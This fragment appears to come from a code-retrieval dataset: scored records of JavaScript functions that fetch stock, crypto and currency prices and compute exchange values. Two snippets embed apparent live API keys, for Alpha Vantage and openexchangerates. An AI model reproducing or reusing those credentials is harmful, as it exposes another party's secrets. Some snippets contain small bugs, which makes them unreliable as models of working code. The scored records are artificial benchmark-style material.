"" }, { "docid": "021bc5d44191e09c0e7f2ef860c8c324", "score": "0.56557894", "text": "function dailyInfo(ticker) {\n\n fetch('https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY&symbol=' + ticker + '&interval=60min&apikey=S8HD5UAIYRL35ZNF')\n .then(response => response.json())\n .then(dailyPrice => {\n\n createGraph(dailyPrice)\n }\n )\n .catch(error => {\n console.log('Error:', error);\n });\n}", "title": "" }, { "docid": "1a06033b3bc5ec960bb20cdd1f271e01", "score": "0.5651961", "text": "function trading_times_for(yyyy_mm_dd, symbol) {\n return liveapi.cached\n .send({trading_times: yyyy_mm_dd})\n .then(function(data){\n var times = { open : '--', close: '--'};\n data.trading_times.markets.forEach(function(market){\n market.submarkets.forEach(function(sub){\n sub.symbols.forEach(function(sym){\n if(sym.symbol === symbol) {\n times = {open: sym.times.open[0], close: sym.times.close[0]};\n }\n });\n });\n });\n return times;\n })\n .catch(function(err){\n console.error(err);\n return { open : '--', close: '--'};\n });\n}", "title": "" }, { "docid": "69f5dd5a607e14ec764c4f9cc476d5b5", "score": "0.56313545", "text": "getTransactionFee(network) {\n if (!this.networks[network] || this.networks[network].connect) {\n throw new Error('Invalid network');\n }\n return new Promise((resolve, reject) => {\n const URL = this.api ? this.api.feeApi : this.networks[network].feeApi;\n const gasLimit = 21000;\n const weiMultiplier = 1000000000000000000;\n this.axios.get(URL)\n .then((r) => resolve({\n high: r.data.high_gas_price,\n medium: r.data.medium_gas_price,\n low: r.data.low_gas_price,\n txHigh: (r.data.high_gas_price * gasLimit) / weiMultiplier,\n txMedium: (r.data.medium_gas_price * gasLimit) / weiMultiplier,\n txLow: (r.data.low_gas_price * gasLimit) / weiMultiplier,\n }))\n .catch((e) => reject(e.message));\n });\n }", "title": "" }, { "docid": "ec364f3cd48e9ea15af5a5cdf2fa9f98", "score": "0.5615243", "text": "async function getUniswapTransactVol() {\n try {\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await instaEvent.getPastEvents('LogEvent', {fromBlock: latest-10000, toBlock: latest});\n const sellEvtCode = web3.utils.keccak256(\"LogSell(address,address,uint256,uint256,uint256,uint256)\");\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt.returnValues);\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) {\n const { connectorType, connectorID, eventCode, eventData } = evt.returnValues;\n if(eventCode==sellEvtCode && connectorID==30 && connectorType==1) {\n const evtData = web3.eth.abi.decodeParameters(['address', 'address', 'uint256', 'uint256', 'uint256', 'uint256'],eventData); \n const srcToken = evtData[1];\n const srcAmount = evtData[3];\n if(!tokenPricesInUSD[srcToken]) {\n if(srcToken==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[srcToken] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[srcToken] = await getExchangePrice(srcToken.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[srcToken]==undefined ? 18 : tokenDecimals[srcToken];\n volumeInUSD+=(srcAmount/Math.pow(10,divFactor))*tokenPricesInUSD[srcToken];\n // console.log(srcToken, srcAmount, divFactor, volumeInUSD);\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "22a5dc75983e03ac896c7b96e5b98550", "score": "0.56076187", "text": "function getCryptoPrice(crypto) {\n var settings = {\n \"url\": `https://api.coincap.io/v2/assets/${crypto}`,\n \"method\": \"GET\",\n \"timeout\": 0,\n };\n\n $.ajax(settings).done(function (response) {\n var usdPrice = response.data.priceUsd\n cryptoSymbol = response.data.symbol\n cryptoConversion = 1 / usdPrice;\n appendCardInfo();\n });\n}", "title": "" }, { "docid": "ce5843979ab33fff7b4795b9428d69ea", "score": "0.5606578", "text": "async function getHistoricalData(coinSymbol, currencyCode, choice) {\n // console.log(coinSymbol, currencyCode, choice);\n let times = [];\n let closingPrices = [];\n let allData = {};\n\n let limit = 0;\n //formatting the url for the specific request\n let url = `https://min-api.cryptocompare.com/data/v2/histoday?fsym=${coinSymbol}&tsym=${currencyCode}`;\n if (choice === \"month\") {\n limit = 30;\n url += `&limit=${limit}&days=30`;\n } else if (choice === \"week\") {\n limit = 7;\n url += `&limit=${limit}&days=7`;\n } else {\n limit = 24;\n url = `https://min-api.cryptocompare.com/data/v2/histohour?fsym=${coinSymbol}&tsym=${currencyCode}&limit=${limit}`;\n }\n\n let data = await fetch(url)\n .then((response) => response.json())\n .then((data) => {\n //console.log(data.Data);\n Object.values(data.Data.Data).map((entry) => {\n let time = new Date(0);\n time.setUTCSeconds(entry.time);\n if (choice === \"day\") {\n let y = time.toLocaleString().split(\",\");\n times.push(y[1]);\n } else {\n let y = time.toLocaleString().split(\",\");\n //console.log(y[0]);\n times.push(y[0]);\n }\n closingPrices.push(entry.close);\n });\n allData.time = times;\n allData.closingPrices = closingPrices;\n // console.log(allData);\n return allData;\n })\n .catch((error) => console.log(error));\n return data;\n}", "title": "" }, { "docid": "e82f1c3b2278ab0a1c96ba4b9ac6d848", "score": "0.5598517", "text": "async getPrice({ type, stretch, weight }) {\n\n const sql = 'SELECT JSON_EXTRACT(`zone`.`price`, CONCAT(\"$.\", ?)) AS `price` \\\n FROM `zone` WHERE `type` = ? AND ((?) BETWEEN `min_gr` AND `max_gr`) LIMIT 1';\n \n const params = [stretch, type, weight];\n const [rows] = await this.trx.query(sql, params);\n return rows[0]['price'];\n\n }", "title": "" }, { "docid": "52da2777a028970ab3034a9cd0951c76", "score": "0.55964094", "text": "function calculateAmountOfDAI(ETH_amount,priceOfETH){\n return ETH_amount*priceOfETH\n}", "title": "" }, { "docid": "ba3e8bb72dab1a44e7daa8c4e283852d", "score": "0.5593597", "text": "function getCrossRateTCMBDataBuying(index,max,date,currencyFrom,currencyTo,_callback){\n var contract = web3js.eth.contract(abi,function(error, result){\n if(!error) {\n //\n }else {\n console.error(error);\n }\n }).at(contractaddress);\n\n var currencyFromHex = convertToHex( currencyFrom);\n var currencyToHex = convertToHex(currencyTo);\n exchangeRate = contract.convert_x_to_y_tcmb_forexbuying(parseInt(date), currencyFromHex, currencyToHex, function(error_2, result_2){\n if(!error_2) {\n completed++;\n var exchangeRate = parseInt(result_2)/1e9;\n values[index] = exchangeRate;\n _callback(exchangeRate);\n if(completed == max){\n for(var j = 0;j<values.length;j++){\n if( values[j] <= 0){continue;}\n document.getElementById(\"resultLabel\").value = document.getElementById(\"resultLabel\").value + names[j] + \": \" + values[j] + \"\\n\";\n }\n }\n } else {\n console.error(error_2);\n }\n });\n }", "title": "" }, { "docid": "2d5b09b916ecc067af85d93e2f949ac3", "score": "0.55894524", "text": "async function getUSDFromCoingecko(item){\n let apiUrl = `https://api.coingecko.com/api/v3/simple/token_price/ethereum?contract_addresses=${item}&vs_currencies=usd`\n try {\n return axios.get(apiUrl)\n } catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "853de922b68aee058cd5925b0d991605", "score": "0.5587758", "text": "getPastCurrencyBalance(currency, date) {\r\n let currencyBalance = 0;\r\n if(this.genesisTx !== null) {\r\n // if portfolio is created before timepoint, use it's balances\r\n if(this.genesisTx.time.getTime() < date.getTime()) {\r\n // if time point is after portfolio creation date, then use this portfolio's balance \r\n currencyBalance = this.balances.get(currency);\r\n } else {\r\n let pastPortfolio = this.getPastPortfolio(date);\r\n if(pastPortfolio !== null) {\r\n currencyBalance = pastPortfolio.balances.get(currency);\r\n if(currencyBalance == null) {\r\n currencyBalance = 0\r\n }\r\n }\r\n }\r\n } else {\r\n console.log(\"Get past balance called for portfolio without genesis trade (first portfolio). Returning 0.\");\r\n }\r\n\r\n return currencyBalance;\r\n }", "title": "" }, { "docid": "79e8303d034c7489142dd1435105366b", "score": "0.5583156", "text": "function getBitcoinValue() {\n fetch(\"https://api.coindesk.com/v1/bpi/historical/close.json\")\n .then(res => res.json())\n .then(data => {\n console.log(data.bpi);\n for (let prop in data.bpi) {\n labels.push(prop);\n dataChart.push(Number(data.bpi[prop].toFixed(2)));\n }\n\n // populate chart from async results from CoinDesk API\n const myLineChart = getChart();\n })\n .catch(error => {\n console.log(error);\n });\n }", "title": "" }, { "docid": "42706aaa4d01a03f363aaf6d75c2fce6", "score": "0.55731195", "text": "function getStockCurrentPrice(argStock) {\r\n //console.log(`Processing current prices for '${argStock}'`);\r\n const url = encodeURI('https://finance.yahoo.com/quote/' + argStock + '?p=' + argStock);\r\n https.get(url, (resp) => {\r\n // ok the logic here is this: add chunks to the data and check for the occurrence of \"HistoricalPriceStore\":{\"prices\":[\r\n // when that occurs trim data to begin with that and startlooking for the end bracket: ']'. When that occurs trim your data \r\n // to include that and your data is complete. Ignore the rest of the chunks arriving\r\n  let data = '';\r\n let sourceIntervalFound = 0;\r\n let regularMarketPriceFound = 0;\r\n let regularMarketChangeFound = 0;\r\n let gotThePrice = 0;\r\n let gotTheChange = 0;\r\n let thePrice = null;\r\n let theChange = null;\r\n\r\n const sourceIntervalPattern = '\"' + argStock + '\":{\"sourceInterval\":';\r\n const regularMarketPricePattern = '\"regularMarketPrice\":{\"raw\":';\r\n const regularMarketChangePattern = '\"regularMarketChange\":{\"raw\":';\r\n\r\n //\"SYMBOL\":{\"sourceInterval\": is unique after which the first \"regularMarketPrice\":{\"raw\": should be the current price\r\n\r\n // A chunk of data has been recieved.\r\n  resp.on('data', (chunk) => {\r\n if (gotThePrice < 1 || gotTheChange < 1) {\r\n data += chunk;\r\n let sourceIntervalIdx = data.indexOf(sourceIntervalPattern);\r\n if ( sourceIntervalIdx > -1){\r\n data = data.substring( sourceIntervalIdx );\r\n sourceIntervalFound = 1;\r\n //check if regularMarketPrice immediately after it occurred - might be here as well\r\n let regularMarketPriceAfterSourceIntervalIdx = data.indexOf(regularMarketPricePattern);\r\n if (regularMarketPriceAfterSourceIntervalIdx > -1){\r\n regularMarketPriceFound = 1;\r\n //data = data.substring(regularMarketPriceAfterSourceIntervalIdx);\r\n // get the comma immediately after\r\n let commaAfterRegMarketPrIdx = data.indexOf(',', regularMarketPriceAfterSourceIntervalIdx + regularMarketPricePattern.length);\r\n if (commaAfterRegMarketPrIdx > -1){\r\n thePrice = data.substring(regularMarketPriceAfterSourceIntervalIdx + regularMarketPricePattern.length, commaAfterRegMarketPrIdx);\r\n gotThePrice = 1;\r\n console.log(`Price for '${argStock}' is ${thePrice}`);\r\n // save it to allStockPricesObj\r\n // allStockPricesObj[argStock] = data;\r\n }\r\n }\r\n // now for the market change:\r\n let regularMarketChangeAfterSourceIntervalIdx = data.indexOf(regularMarketChangePattern);\r\n if (regularMarketChangeAfterSourceIntervalIdx > -1){\r\n regularMarketChangeFound = 1;\r\n //data = data.substring(regularMarketPriceAfterSourceIntervalIdx);\r\n // get the comma immediately after\r\n let commaAfterRegMarketChIdx = data.indexOf(',', regularMarketChangeAfterSourceIntervalIdx + regularMarketChangePattern.length);\r\n if (commaAfterRegMarketChIdx > -1){\r\n theChange = data.substring(regularMarketChangeAfterSourceIntervalIdx + regularMarketChangePattern.length, commaAfterRegMarketChIdx);\r\n gotTheChange = 1;\r\n console.log(`Change for '${argStock}' is ${theChange}`);\r\n }\r\n }\r\n\r\n if(thePrice && theChange){\r\n allStockPricesObj[argStock] = thePrice + '|' + theChange;\r\n }\r\n\r\n }// if ( sourceIntervalIdx > -1){ ...\r\n \r\n\r\n } // end of if (gotThePrice < 1 || gotTheChange < 1) { ...}\r\n \r\n\r\n   });\r\n // The whole response has been received. Print out the result.\r\n  resp.on('end', () => {\r\n //console.log('Resp end occurred but it\\'s ok because we processed the stream as it came in');\r\n //process.exit(0);\r\n  });\r\n resp.on('error', (err) => {\r\n  console.log(\"Error in getStockCurrentPrice Response: \" + err.message);\r\n });\r\n\r\n }).on(\"error\", (err) => {\r\n  console.log(\"Error in getStockCurrentPrice GET: \" + err.message);\r\n //process.exit(0);\r\n });\r\n\r\n}", "title": "" }, { "docid": "f9bb375132262363f39010d698f4c5e6", "score": "0.5568683", "text": "function calculate() {\n\tconst fromCurrency = fromCur.value;\n\tconst toCurrency = toCur.value;\n\t\n\t/*fetch API*/\n\tfetch(`https://openexchangerates.org/api/latest.json?app_id=4555d2dde46a429b8df586d7398c6f2e`)\n\t\n\t.then(res => res.json())\n\t.then(res => {\n\t \tconst rate = res.rates[toCurrency];\n\t\ttoAmount.value = (fromAmount.value * rate).toFixed(2);\n\t\t})\n\t\t\n\t.catch((error)=> {\n\t\tconsole.log(error);\n \t\t })\n}", "title": "" }, { "docid": "34819b96afd28077f82d4974a61db8d3", "score": "0.5562303", "text": "function pricePoint () { \n\n if (respData.price == undefined) {\n return \"\";\n } else {\n return respData.price;\n };\n }", "title": "" }, { "docid": "db094dc90ad46922a3c1783ca85e653e", "score": "0.5562122", "text": "function convertECB(){\n var date = new Date(document.getElementById(\"dateCur\").value);\n date.setHours(HOUR);\n var tstart = Math.round(date.getTime()/1e3);\n \n var currencyFrom = document.getElementById(\"currencyFrom\").value;\n var currencyTo = document.getElementById(\"currencyTo\").value;\n\n var amount = document.getElementById(\"amount\").value;\n\n var res = getCrossRateDataECB(1,2,tstart,currencyFrom,currencyTo,function(result){\n var exchanged = amount*result;\n document.getElementById(\"result\").value = exchanged; \n });\n }", "title": "" }, { "docid": "a690335394177f69298c65e146544233", "score": "0.5561698", "text": "function getBTC() \n{\n\treturn new Promise(resolve=>{\n\t\taxios.get('https://min-api.cryptocompare.com/data/pricemulti?fsyms=BTC&tsyms=USD')\n\t\t.then((response) => {\n\t\t\tif (response)\n\t\t\t{\n\t\t\t\tvar BTCval=response.data.BTC.USD;\n\t\t\t\tresolve (BTCval);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconsole.log(\"Error In Connection\");\n\t\t\t}\n\t\t})\n\t\t.catch((err) => {\n\t\t\tconsole.log(err);\n\t\t// reject(err);\n\t\t})\n\t})\n}", "title": "" }, { "docid": "d2993890bc127c3ef2e0f84ae95ffc83", "score": "0.55561066", "text": "function convertToBTCPrice(priceUSD){\n let BTCPrice = cmcArrayDict['btc'.toUpperCase()]['quote']['USD']['price'];\n return priceUSD / BTCPrice;\n}", "title": "" }, { "docid": "f7373fb51bfa7ed45331c7886a8dd71c", "score": "0.55357724", "text": "function VAT(price){\n return price * 0.21;\n}", "title": "" }, { "docid": "40359ad0bb6bca61f65a2670eced107a", "score": "0.55245477", "text": "async function getOneInchTransactVol() {\n try {\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await instaEvent.getPastEvents('LogEvent', {fromBlock: latest-10000, toBlock: latest});\n const sellEvtCodes = [ \n web3.utils.keccak256(\"LogSell(address,address,uint256,uint256,uint256,uint256)\"), \n web3.utils.keccak256(\"LogSellTwo(address,address,uint256,uint256,uint256,uint256)\"), \n web3.utils.keccak256(\"LogSellThree(address,address,uint256,uint256,uint256,uint256)\")\n ];\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt.returnValues);\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) {\n const { connectorType, connectorID, eventCode, eventData } = evt.returnValues;\n if(sellEvtCodes.includes(eventCode) && connectorID==17 && connectorType==1) {\n const evtData = web3.eth.abi.decodeParameters(['address', 'address', 'uint256', 'uint256', 'uint256', 'uint256'],eventData); \n const srcToken = evtData[1];\n const srcAmount = evtData[3];\n if(!tokenPricesInUSD[srcToken]) {\n if(srcToken==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[srcToken] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[srcToken] = await getExchangePrice(srcToken.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[srcToken]==undefined ? 18 : tokenDecimals[srcToken];\n volumeInUSD+=(srcAmount/Math.pow(10,divFactor))*tokenPricesInUSD[srcToken];\n // console.log(srcToken, srcAmount, divFactor, volumeInUSD);\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "f37cd5936fce8672f4389035028db54b", "score": "0.5494577", "text": "function rateDogeEur () {\n return new Promise((resolve, reject) => {\n request.get(RATE_URL, function (error, response, body) {\n if (error) {\n reject(OOPS_TEXT)\n return\n }\n\n var result = JSON.parse(body)\n resolve(result[0].price_eur)\n })\n })\n}", "title": "" }, { "docid": "0419e20e1d3bca680122d06c5960c92b", "score": "0.5493211", "text": "function fetchRestockPrice() {\n fetch('http://localhost:4567/restock-cost', {\n method: 'POST',\n headers: {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json'\n },\n // helper function for sending data in JSON\n body: getOrderAmtsJSON()\n })\n .then(response => response.json())\n .then(data => setPrice(data.cost))\n }", "title": "" }, { "docid": "1fb68fbbd73a59757769874ffafde413", "score": "0.54813385", "text": "_loadPrevPriceEU(data, lastDate) {\n\t\tif (!data) {\n\t\t\tlet date = new Date(lastDate),\n\t\t\t\t\tresult = new Date(date.getFullYear(), date.getMonth(), date.getDate() - 1);\n\t\t\tresult = `${result.getFullYear()}-${('0' + (result.getMonth() + 1)).slice(-2)}-${result.getDate()}`;\n\n\t\t\treturn this._connection(`https://api.ratesapi.io/api/${result}?base=EUR&symbols=${this.Currency}`, this._loadPrevPriceEU, null);\n\t\t}\n\t\telse {\n\t\t\tthis.fiatEU['PrevPrice'] = JSON.parse(data).rates[this.Currency]; // float number\n\t\t\tthis.fiatEU['Delta'] = this.fiatEU['Price'] - this.fiatEU['PrevPrice']; // float number\n\t\t\tthis.fiatEU['Percent'] = this.fiatEU['Price'] / this.fiatEU['PrevPrice'] * 100 - 100; // float number\n\t\t\tthis._dataFiatEU();\n\t\t\tthis._loadHistory();\n\t\t}\n\t}", "title": "" }, { "docid": "67359435519552f2882ae59d264eb9fd", "score": "0.54735047", "text": "function scrapPrice(html) {\n const $ = cheerio.load(html);\n const price = $(selector)\n .text()\n .trim();\n return price;\n }", "title": "" }, { "docid": "bce5edcd3e1f8983d94b2710b4d39fca", "score": "0.5457292", "text": "function testRate(){\n var resp = TAGS.testRate();\n var time = new Date(1491072439*1000);\n Logger.log(resp);\n}", "title": "" }, { "docid": "e1c1c4231760e4f768bbf430b5695961", "score": "0.54551554", "text": "function OHLCV_currency(__ccxt, __symbol, __timeframe) {\r\n if (__ccxt.hasFetchOHLCV) {\r\n console.log(__ccxt.id + ' has OHLCV');\r\n (async() => {\r\n let OHLCV = await __ccxt.fetchOHLCV(__symbol, __timeframe);\r\n console.dir(OHLCV);\r\n })();\r\n } else {\r\n console.log(__ccxt.id + ' dont have OHLCV');\r\n }\r\n}", "title": "" }, { "docid": "f43196a51558b053d04e24ca38fccac7", "score": "0.5450589", "text": "function currencyPrice(select, callback) {\n $.ajax({\n url: \"https://api.coinbase.com/v2/exchange-rates?currency=\" + select,\n type: 'GET',\n dataType: \"json\",\n success: function success(coins) {\n callback(parseFloat(coins.data.rates[\"USD\"]));\n }\n });\n }", "title": "" }, { "docid": "a20ded01c796725bc7f37b7b95f14bc6", "score": "0.54488873", "text": "function getCurrency(e) {\n selectedCurrency = e.target.value;\n getPrice();\n}", "title": "" }, { "docid": "eb31dffe050720c1b8f029f3ffc1bb5f", "score": "0.5438605", "text": "async function getPrice() {\n let address = document.getElementById(\"address\").value;\n console.log(address);\n let price = await Moralis.Cloud.run(\"getPrice\", {address: address});\n let ethPrice = (price.nativePrice.value / (10**price.nativePrice.decimals)) + \" ETH\"\n let usdPrice = price.usdPrice + \" USD\"\n document.getElementById(\"eth_price\").innerHTML = ethPrice;\n document.getElementById(\"usd_price\").innerHTML = usdPrice;\n console.log(price);\n}", "title": "" }, { "docid": "ca1ee54a8648bcb0d3b9e15ead809c5f", "score": "0.54379624", "text": "function calculate(dollar, exchangeRate) {\n return (dollar * exchangeRate);\n\n}", "title": "" }, { "docid": "512f812c1d597e21965be7932a119d35", "score": "0.54319966", "text": "function getPrice(itemObject) {\n return itemObject.price;\n\n}", "title": "" }, { "docid": "eb73b1e47a54d54ef1b914fffcd7a213", "score": "0.5420898", "text": "function bitcoinRate() {\n $.ajax({\n \"url\": \"https://api.coindesk.com/v1/bpi/currentprice.json\",\n \"method\": \"GET\",\n \"data\": \"\",\n \"dataType\": \"JSON\",\n \"success\": function (result) {\n //console.log(result);\n var rate = result.bpi.EUR.rate\n document.getElementById(\"outputBitcoin\").innerText = \"1 BitCoin (Ƀ) = €\" + rate;\n },\n \"error\": function (xhr, status, error) {\n //console.log(\"error: \" + status + \" msg:\" + error);\n var rate = result.bpi.EUR.rate\n document.getElementById(\"outputBitcoin\").innerText = rate;\n }\n });\n}", "title": "" }, { "docid": "5a7b04b2496ffc5ebf288b27d4a0da99", "score": "0.54165614", "text": "function getExchangeData() {\n var currentBuyPrice = parseFloat(buyPriceContainer.text());\n var currentSellPrice = parseFloat(sellPriceContainer.text());\n\n console.log(currentBuyPrice);\n console.log(currentSellPrice);\n\n $.getJSON('https://blockchain.info/pl/ticker', function (data) {\n console.log(data);\n\n buyPriceContainer.html(data.PLN.buy);\n sellPriceContainer.html(data.PLN.sell);\n\n if (currentBuyPrice < data.PLN.buy) {\n buyArrow.css('color', 'green').removeClass().addClass('fa fa-arrow-up');\n console.log('Wzrost ceny');\n } else if (currentBuyPrice > data.PLN.buy) {\n buyArrow.css('color', 'red').removeClass().addClass('fa fa-arrow-down');\n console.log('Spadek ceny');\n } else {\n buyArrow.css('color', 'black').removeClass().addClass('fa fa-minus-square-o');\n console.log('Bez zmian');\n };\n\n if (currentSellPrice < data.PLN.sell) {\n sellArrow.css('color', 'green').removeClass().addClass('fa fa-arrow-up');\n console.log('Wzrost ceny');\n } else if (currentSellPrice > data.PLN.sell) {\n sellArrow.css('color', 'red').removeClass().addClass('fa fa-arrow-down');\n console.log('Spadek ceny');\n } else {\n sellArrow.css('color', 'black').removeClass().addClass('fa fa-minus-square-o');\n console.log('Bez zmian');\n };\n\n\n\n\n console.log(data.PLN.buy);\n console.log(data.PLN.sell);\n console.log('test czasu');\n\n });\n }", "title": "" }, { "docid": "3ef670c031c0dee952abe53fa899e2b3", "score": "0.5410815", "text": "function getRate(sellSymbol, buySymbol){\n return $http.get('http://api.fixer.io/latest?base='+sellSymbol+'&symbols='+buySymbol)\n .then(getRateComplete)\n .catch(getRateFailed);\n\n function getRateComplete(response) {\n return response.data;\n }\n\n function getRateFailed(error) {\n console.log('Error ' + error.data);\n }\n }", "title": "" }, { "docid": "0a87ec204b892cc0b6b9de3c9f7c0315", "score": "0.5408971", "text": "async getBuyAmount(buyToken, sellToken, sellAmt, slippage) {\n let _slippage = !slippage ? 10 ** 16 : slippage * 10 ** 16;\n _slippage = String(this.math.bigNumInString(_slippage));\n\n var _obj = {\n protocol: \"curve_three\",\n method: \"getBuyAmount\",\n args: [\n this.tokens.info[buyToken.toLowerCase()].address,\n this.tokens.info[sellToken.toLowerCase()].address,\n this.tokens.fromDecimal(sellAmt, sellToken),\n this.math.bigNumInString(_slippage),\n ],\n };\n\n return new Promise((resolve, reject) => {\n return this.dsa\n .read(_obj)\n .then((res) => {\n var _res = {\n buyAmt: this.tokens.toDecimal(res[0], buyToken),\n buyAmtRaw: res[0],\n virtualPrice: res[2] / 10 ** 18,\n unitAmt: res[1],\n };\n resolve(_res);\n })\n .catch((err) => {\n reject(err);\n });\n });\n }", "title": "" }, { "docid": "d8942ee1cf4d7a29f7d1dca0a79b574d", "score": "0.5406552", "text": "function getCurrentPrice(currency) {\n if (!currency) {\n return request('/currentprice.json')\n }\n\n return request(`/currentprice/${currency}.json`)\n}", "title": "" }, { "docid": "28d9d76120ff7e4644748d3d177b1f5c", "score": "0.54024714", "text": "function printStocks(symbol) {\n// make the get request\nconst request = https.get(`https://www.quandl.com/api/v3/datatables/WIKI/PRICES.json?ticker=${symbol}&date=${today}&api_key=yourapikeygoeshere`, response => {\n if (response.statusCode === 200) {\n var body = \"\";\n response.on('data', data => {\n body += data.toString();\n });\n\n response.on('end', () => {\n try {\n const stockPrice = JSON.parse(body);\n if (stockPrice.datatable.data.length > 0) {\n const message = `${symbol} stock price closed at ${stockPrice.datatable.data[0][5]}`;\n console.log(message);\n } else { console.log(`Symbol ${symbol} does not exist. Try another one.`) };\n\n }\n\n catch (error) {\n console.error(error.message);\n }\n });\n\n } else {\n console.log(`There has been a ${response.statusCode} error.`);\n }\n\n});\n}", "title": "" }, { "docid": "01d86c9c223d48ca4675f9d7a7b983e2", "score": "0.5399331", "text": "function getTransactionFee(connection) {\n return connection.getRecentBlockhash().then(response => {\n return response.feeCalculator;\n });\n}", "title": "" }, { "docid": "e832f62e517f5a087b594d053e64d8f4", "score": "0.5394094", "text": "priceOf(token) {\n invariant(this.involvesToken(token), 'TOKEN');\n return token.equals(this.token0) ? this.token0Price : this.token1Price;\n }", "title": "" }, { "docid": "7aabf9c5568db4119ba5b1a479e383ad", "score": "0.53896004", "text": "function getCurrencyRates(){\n return fetch(\"https://api.ratesapi.io/api/latest?base=USD\")\n .then(res => res.json());\n}", "title": "" }, { "docid": "a569d33daec96582047cf72fa6da91d0", "score": "0.5389427", "text": "function getPriceValue() {\n var btcSell = 0;\n try {\n btcSell = document.querySelectorAll('.pricing-box-btc')[1].getAttribute(\"data-qty\")\n console.log( btcSell );\n } catch(exception) {\n console.log(\"Cannot get BTC price\");\n }\n\n return btcSell;\n}", "title": "" }, { "docid": "84e7bebd2365c122aeab2dbe9989d88d", "score": "0.53888017", "text": "async function getStocksAlpha(coin1, chn, usr){\n let price = '';\n let vol = '';\n let change = '';\n \n let alphaJSON = await alpha.stocks.quote(coin1);\n \n let quote = JSON.stringify(alphaJSON[\"Global Quote\"]);\n if(!quote || 2 === quote.length) {\n chn.send(\"API Error: Ticker **\" + coin1.toUpperCase() + \"** not found.\");\n return;\n }\n //console.log(alphaJSON);\n price = alphaJSON[\"Global Quote\"][\"05. price\"];\n vol = alphaJSON[\"Global Quote\"][\"06. volume\"];\n change = alphaJSON[\"Global Quote\"][\"10. change percent\"];\n \n console.log(chalk.green('Alpha Vantage API ticker response: ' + chalk.cyan(price) + \" by: \") + chalk.yellow(usr.username));\n \n chn.send(\"Market price for **$\" + coin1.toUpperCase() + \"** is: `\" + price + \"` (`\" + parseFloat(change).toFixed(2) + \"%`).\");\n}", "title": "" }, { "docid": "adaa3fc5892eb9ff1c20efa51935c040", "score": "0.5383726", "text": "function getPrices() {\n // El\n elVariablePriceEast = roundTwoDecimals(\n jQuery(\"#o-privat-el-basisel-oest-inkl-moms\").text()\n );\n elVariablePriceWest = roundTwoDecimals(\n jQuery(\"#o-privat-el-basisel-vest-inkl-moms\").text()\n );\n elFixedPriceEast36 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-oest-inkl-moms\").text()\n );\n elFixedPriceWest36 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-vest-inkl-moms\").text()\n );\n elFixedPriceEast24 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-oest-inkl-moms-24\").text()\n );\n elFixedPriceWest24 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-vest-inkl-moms-24\").text()\n );\n elFixedPriceEast12 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-oest-inkl-moms-12\").text()\n );\n elFixedPriceWest12 = roundTwoDecimals(\n jQuery(\"#o-privat-el-fastpris-vest-inkl-moms-12\").text()\n );\n eltransport = jQuery(\"#o-transport-og-afgifter\").text();\n elsubscription = jQuery(\"#o-el-abonnement\").text();\n\n elFixedPriceStart = jQuery(\"#o-fastpris-start-date\").text();\n elFixedPriceEnd12 = jQuery(\"#o-fastpris-12-end-date\").text();\n elFixedPriceEnd24 = jQuery(\"#o-fastpris-24-end-date\").text();\n elFixedPriceEnd36 = jQuery(\"#o-fastpris-36-end-date\").text();\n\n // Find the cheapes product\n var a = [\n parseFloat(elVariablePriceEast.replace(\",\", \".\")),\n parseFloat(elFixedPriceEast36.replace(\",\", \".\")),\n parseFloat(elFixedPriceEast24.replace(\",\", \".\")),\n parseFloat(elFixedPriceEast12.replace(\",\", \".\"))\n ];\n\n var aMin = Math.min(a[0], a[1], a[2], a[3]);\n selected = products[a.indexOf(aMin)];\n //Removes the splashes that are unessecary\n jQuery.each(products, function(index, value) {\n if (products[index] !== selected) {\n jQuery(\"[data-id=\" + products[index] + \"]\")\n .find(\".o-product-box-cheapest\")\n .remove();\n\n jQuery(\"[data-id=\" + products[index] + \"]\").removeClass(\"cheapest\");\n }\n });\n\n // Update the subscription, prices and transport, these are static values\n jQuery(\"#o-subscription\").html(elsubscription);\n jQuery(\"#o-transport\").html(roundTwoDecimals(eltransport));\n\n 